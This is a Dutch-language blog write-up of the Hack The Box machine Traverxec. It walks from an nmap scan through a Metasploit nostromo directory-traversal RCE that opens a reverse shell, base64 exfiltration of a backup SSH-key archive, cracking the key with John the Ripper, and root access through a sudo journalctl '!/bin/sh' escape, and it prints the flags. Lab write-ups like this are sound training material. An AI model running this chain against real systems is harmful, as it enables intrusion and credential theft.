tech365
HackTheBox WriteUp Traverxec

Hack The Box Writeup: Traverxec

Op 16 november vorig jaar lanceerde Hack The Box de Linux Machine Traverxec. Een box met een moeilijkheidsgraad van “Easy”, iets dat na het rooten inderdaad overeenkomt.

Hack The Box Traverxec

Everything is a copy of a copy of a copy.

– Chuck Palahniuk, Fight Club

Start van de nieuwe box begint uiteraard weer met een Nmap scan van alle poorten op basis van script en service detectie.

nmap -sC -sV -p- -oA traverxec 10.10.10.165

Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-06 20:03 GMT
Stats: 0:02:29 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 35.05% done; ETC: 20:10 (0:04:36 remaining)
Stats: 0:04:51 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 62.21% done; ETC: 20:11 (0:02:57 remaining)
Nmap scan report for 10.10.10.165
Host is up (0.020s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 393.13 seconds

Uit de scan komt naar voren dat poort 80 open is en hier een Nostromo 1.9.6. service actief is. Een snelle check met searchsploit geeft aan dat er een bekende Directory Travetsal RCE bekend is en beschikbaar in Metasploit.

searchsploit nostromo

----------- ----------------------------------------
Nostromo - Directory Traversal Remote Command Execution (Metasploit)                 | exploits/multiple/remote/47573.rb

Let’s fire up the good old msfconsole.

msfconsole
_____________________________________________________________________________
| |
| METASPLOIT CYBER MISSILE COMMAND V5 |
|______________________________________________________________________________|
      \ / /
       \ . / / x
        \ / /
         \ / + /
          \ + / /
           * / /
                                   / . /
    X / / X
                                 / ###
                                / # % #
                               / ###
                      . /
     . / . * .
                            /
                           *
                  + *
                                       ^
#### __ __ __ ####### __ __ __ ####
#### / \ / \ / \ ########### / \ / \ / \ ####
################################################################################
################################################################################
# WAVE 5 ######## SCORE 31337 ################################## HIGH FFFFFFFF #
################################################################################
                                                           https://metasploit.com
       =[ metasploit v5.0.72-dev ]
+ -- --=[ 1962 exploits - 1095 auxiliary - 336 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]

Voordat ik de Nostromo exploit beschikbaar kreeg moest ik Metasploit updaten. Dit kan eenvoudig met apt install metasploit-framework. Als je Metasploit al hebt wordt het package direct bijgewerkt.

msf5 exploit(multi/http/nostromo_code_exec) > search nostromo

Matching Modules
================

   #  Name                                   Disclosure Date  Rank  Check  Description
   -  ----                                   ---------------  ----  -----  -----------
   0  exploit/multi/http/nostromo_code_exec  2019-10-20       good  Yes    Nostromo Directory Traversal Remote Command Execution

Voor het activeren van de exploit heb je eigenlijk maar twee opties nodig. RHOSTS met het IP-adres van de Traverxec box en LHOST met je eigen tunnel-IP-adres.

msf5 > use exploit/multi/http/nostromo_code_exec 

msf5 exploit(multi/http/nostromo_code_exec) > set RHOSTS 10.10.10.165
RHOSTS => 10.10.10.165

msf5 exploit(multi/http/nostromo_code_exec) > set LHOST 10.10.15.47
LHOST => 10.10.15.47

Het uitvoeren van de exploit duurt enkele seconden en je krijg hierna een beperkte shell als www-html.

msf5 exploit(multi/http/nostromo_code_exec) > exploit

[*] Started reverse TCP handler on 10.10.15.47:4444 
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.10.15.47:4444 -> 10.10.10.165:55468) at 2020-02-08 09:35:06 +0000

whoami
www-data

Door middel van het commando shell kun je de huidige shell opwaarderen naar een interactive shell.

shell
[*] Trying to find binary(python) on target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell

Na wat rondneuzen op de machine en de documentatie van Nostromo heb ik de config-file gevonden waarin de opties zijn opgeslagen. Uiteindelijk blijkt public_www de plek te zijn waar interessante informatie te vinden is. Je moet echter naar het volledig pad, niet map voor map in verband met een beperking in je rechten.

cat /var/nostromo/conf/nhttpd.conf

# MAIN [MANDATORY]
servername	traverxec.htb
serverlisten	*
serveradmin	david@traverxec.htb
serverroot	/var/nostromo
servermimes	conf/mimes
docroot	/var/nostromo/htdocs
docindex	index.html
# LOGS [OPTIONAL]
logpid	logs/nhttpd.pid
# SETUID [RECOMMENDED]
user	www-data
# BASIC AUTHENTICATION [OPTIONAL]
htaccess	.htaccess
htpasswd	/var/nostromo/conf/.htpasswd
# ALIASES [OPTIONAL]
/icons	/var/nostromo/icons
# HOMEDIRS [OPTIONAL]
homedirs	/home
homedirs_public	public_www

Tijdens het kijken van een YouTube video over Hack The Box kwam ik onderstaande manier tegen om eenvoudig een bestand te copy/pasten naar je eigen machine vanuit een remote sessie. Door middel van base64 encode je het bestand zelf en kun je zo de tekst kopieeren. In dit geval doe ik dat dus met de ge-gunzipte tarball.

base64 backup-ssh-identity-files.tgz

H4sIAANjs10AA+2YWc+jRhaG+5pf8d07HfYtV8O+Y8AYAzcROwabff/1425pNJpWMtFInWRm4uem
gKJ0UL311jlF2T4zMI2Wewr+OI4l+Ol3AHpBQtCXFibxf2n/wScYxXGMIGCURD5BMELCyKcP/Pf4
mG+ZxykaPj4+fZ2Df/Peb/X/j1J+o380T2U73I8s/bnO9vG7xPgiMIFhv6o/AePf6E9AxEt/6LtE
/w3+4vq/NP88jNEH84JFzSPi4D1BhC+3PGMz7JfHjM2N/jAadgJdSVjy/NeVew4UGQkXbu02dzPh
6hzE7jwt5h64paBUQcd5I85rZXhHBnNuFCo8CTsocnTcPbm7OkUttG1KrEJIcpKJHkYjRhzchYAl
5rjjTeZjeoUIYKeUKaqyYuAo9kqTHEEYZ/Tq9ZuWNNLALUFTqotmrGRzcRQw8V1LZoRmvUIn84Yc
rKakVOI4+iaJu4HRXcWH1sh4hfTIU5ZHKWjxIjo1BhV0YXTh3TCUWr5IerpwJh5mCVNtdTlybjJ2
r53ZXvRbVaPNjecjp1oJY3s6k15TJWQY5Em5s0HyGrHE9tFJuIG3BiQuZbTa2WSSsJaEWHX1NhN9
noI66mX+4+ua+ts0REs2bFkC/An6f+v/e/rzazl83xhfPf7r+z+KYsQ//Y/iL/9jMIS//f9H8PkL
rCAp5odzYT4sR/EYV/jQhOBrD2ANbfLZ3bvspw/sB8HknMByBR7gBe2z0uTtTx+McPkMI9RnjuV+
wEhSEESRZXBCpHmEQnkUo1/68jgPURwmAsCY7ZkM5pkE0+7jGhnpIocaiPT5TnXrmg70WJD4hpVW
p6pUEM3lrR04E9Mt1TutOScB03xnrTzcT6FVP/T63GRKUbTDrNeedMNqjMDhbs3qsKlGl1IMA62a
VDcvTl1tnOujN0A7brQnWnN1scNGNmi1bAmVOlO6ezxOIyFVViduVYswA9JYa9XmqZ1VFpudydpf
efEKOOq1S0Zm6mQm9iNVoXVx9ymltKl8cM9nfWaN53wR1vKgNa9akfqus/quXU7j1aVBjwRk2ZNv
GBmAgicWg+BrM3S2qEGcgqtun8iabPKYzGWl0FSQsIMwI+gBYnzhPC0YdigJEMBnQxp2u8M575gS
Ttb3C0hLo8NCKeROjz5AdL8+wc0cWPsequXeFAIZW3Q1dqfytc+krtN7vdtY5KFQ0q653kkzCwZ6
ktebbV5OatEvF5sO+CpUVvHBUNWmWrQ8zreb70KhCRDdMwgTcDBrTnggD7BV40hl0coCYel2tGCP
qz5DVNU+pPQW8iYe+4iAFEeacFaK92dgW48mIqoRqY2U2xTH9IShWS4Sq7AXaATPjd/JjepWxlD3
xWDduExncmgTLLeop/4OAzaiGGpf3mi9vo4YNZ4OEsmY8kE1kZAXzSmP7SduGCG4ESw3bxfzxoh9
M1eYw+hV2hDAHSGLbHTqbWsuRojzT9s3hkFh51lXiUIuqmGOuC4tcXkWZCG/vkbHahurDGpmC465
QH5kzORQg6fKD25u8eo5E+V96qWx2mVRBcuLGEzxGeeeoQOVxu0BH56NcrFZVtlrVhkgPorLcaip
FsQST097rqEH6iS1VxYeXwiG6LC43HOnXeZ3Jz5d8TpC9eRRuPBwPiFjC8z8ncj9fWFY/5RhAvZY
1bBlJ7kGzd54JbMspqfUPNde7KZigtS36aApT6T31qSQmVIApga1c9ORj0NuHIhMl5QnYOeQ6ydK
DosbDNdsi2QVw6lUdlFiyK9blGcUvBAPwjGoEaA5dhC6k64xDKIOGm4hEDv04mzlN38RJ+esB1kn
0ZlsipmJzcY4uyCOP+K8wS8YDF6BQVqhaQuUxntmugM56hklYxQso4sy7ElUU3p4iBfras5rLybx
5lC2Kva9vpWRcUxzBGDPcz8wmSRaFsVfigB1uUfrGJB8B41Dtq5KMm2yhzhxcAYJl5fz4xQiRDP5
1jEzhXMFQEo6ihUnhNc0R25hTn0Qpf4wByp8N/mdGQRmPmmLF5bBI6jKiy7mLbI76XmW2CfN+IBq
mVm0rRDvU9dVihl7v0I1RmcWK2ZCYZe0KSRBVnCt/JijvovyLdiQBDe6AG6cgjoBPnvEukh3ibGF
d+Y2jFh8u/ZMm/q5cCXEcCHTMZrciH6sMoRFFYj3mxCr8zoz8w3XS6A8O0y4xPKsbNzRZH3vVBds
Mp0nVIv0rOC3OtfgTH8VToU/eXl+JhaeR5+Ja+pwZ885cLEgqV9sOL2z980ytld9cr8/naK4ronU
pOjDYVkbMcz1NuG0M9zREGPuUJfHsEa6y9kAKjiysZfjPJ+a2baPreUGga1d1TG35A7mL4R9SuII
FBvJDLdSdqgqkSnIi8wLRtDTBHhZ0NzFK+hKjaPxgW7LyAY1d3hic2jVzrrgBBD3sknSz4fT3irm
6Zqg5SFeLGgaD67A12wlmPwvZ7E/O8v+9/LL9d+P3Rx/vxj/0fmPwL7Uf19+F7zrvz+A9/nvr33+
e/PmzZs3b968efPmzZs3b968efPmzf8vfweR13qfACgAAA==

De base64 data plak ik in het bestand backup_base64.txt en vervolgens decode ik de inhoud als nieuw bestand backup.tgz.

base64 -d backup_base64.txt |sudo tee backup.tgz

Uitpakken van de originele bestanden in het archief kan nu op de gebruikelijke manier en hierna komt de private en public key van David tevoorschijn.

tar -zxf backup.tgz
ls
authorized_keys id_rsa id_rsa.pub

De buitgemaakte Private Key maak ik klaar om met John The Ripper te kraken. Hiervoor gebruik ik ssh2john, een Python script welke standaard aanwezig is in /usr/share/john.

python /usr/share/john/ssh2john.py id_rsa > id_rsa_ready4john.txt

Met de Private Key geschikt voor John start ik de dictionairy attack op basis van de Rockyou wordlist.

john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_ready4john.txt

Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (id_rsa)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:05 DONE (2020-02-08 10:57) 0.1779g/s 2551Kp/s 2551Kc/s 2551KC/sa6_123..*7¡Vamos!
Session completed

John heeft niet veel moeite met het vinden van het wachtwoord en binnen enkele seconden is de aanval op de Private Key succesvol afgerond: hunter it is!

john id_rsa_ready4john.txt --show
id_rsa:hunter

Op basis van de Private Key maak ik verbinding via SSH, wat uit de Nmap scan kwam als een optie, en geeft ik het wachtwoord op. Hierna verschijnt er keurig een prompt als David.

ssh -i id_rsa david@10.10.10.165
Enter passphrase for key 'id_rsa': 

Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Sat Feb 8 05:59:17 2020 from 10.10.15.230
david@traverxec:~$ 

Een snelle check in de huidige map geeft de aanwezigheid van de user.txt weer.

ls
bin public_www user.txt

Tot zover de user-flag. Maar nu tijd voor de andere helft van de uitdaging. Op naar root!

cat user.txt
7db0b48469606a42cec20750d9782f3d

Eenmaal in de home-folder van David is het rondkijken naar nieuwe aanwijzingen. De map bin bevat een interessant script dat wat logdata ophaalt en weergeeft op het scherm.

cat server-stats.sh

#!/bin/bash
cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat 

journalctl is een zogenaamde GTFObin, een Linux binairy die bekend staat om misbruikt te kunnen worden voor privledge escalation. Een van mijn eerste actie bij het zien van scripts waarin een commando onder sudo wordt uitgevoerd is GTFObins.com raadplegen.

htb_gtfobins_journalctl

Bij het starten van journalctl worden de laatste logentries getoond van de journal daemon. Echter is het mogelijk om hieruit te breken zoals in bovenstaande screenshot van GTFObins te zien is.

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Sat 2020-02-08 06:14
Feb 08 06:28:03 traverxec su[1297]: F
Feb 08 06:29:06 traverxec sudo[1370]:
Feb 08 06:29:20 traverxec sudo[1381]:
Feb 08 06:56:33 traverxec su[2396]: p
Feb 08 06:56:35 traverxec su[2396]: F

Het commando is actief en geeft output, nu is het mogelijk om te escaleren en door middel van !/bin/sh een shell als root te krijgen.

!/bin/sh

# whoami
root

Eenmaal root-user ga ik opzoek naar de root.txt op de welbekende plaats om te zien of de key er staat, of een nieuwe uitdaging zich presenteert.

cd /root 
# ls
nostromo_1.9.6-1.deb root.txt

Root-flag it is! Leuke box en relatief goed te doen voor beginners. Weer een leuke privledge escalation geleerd en op naar de volgende machine!

# cat root.txt
9aa36a6d76f785dfd320a478f6e0d906

Martijn

Martijn is naast eigenaar van tech365 ook werkzaam als IT Professional. Zijn passies zijn gadgets, fotografie en alles wat met automotive te maken heeft. Je kunt hem ook vinden als blogger op wielerblog www.lifebehindbars.nl

Reageren

Geef een reactie

Deze website gebruikt Akismet om spam te verminderen. Bekijk hoe je reactie-gegevens worden verwerkt.

Privacy opties

Wijzig je voorkeur voor het bijhouden van gegevens op tech365.

Privacybeleid | Sluiten
Instellingen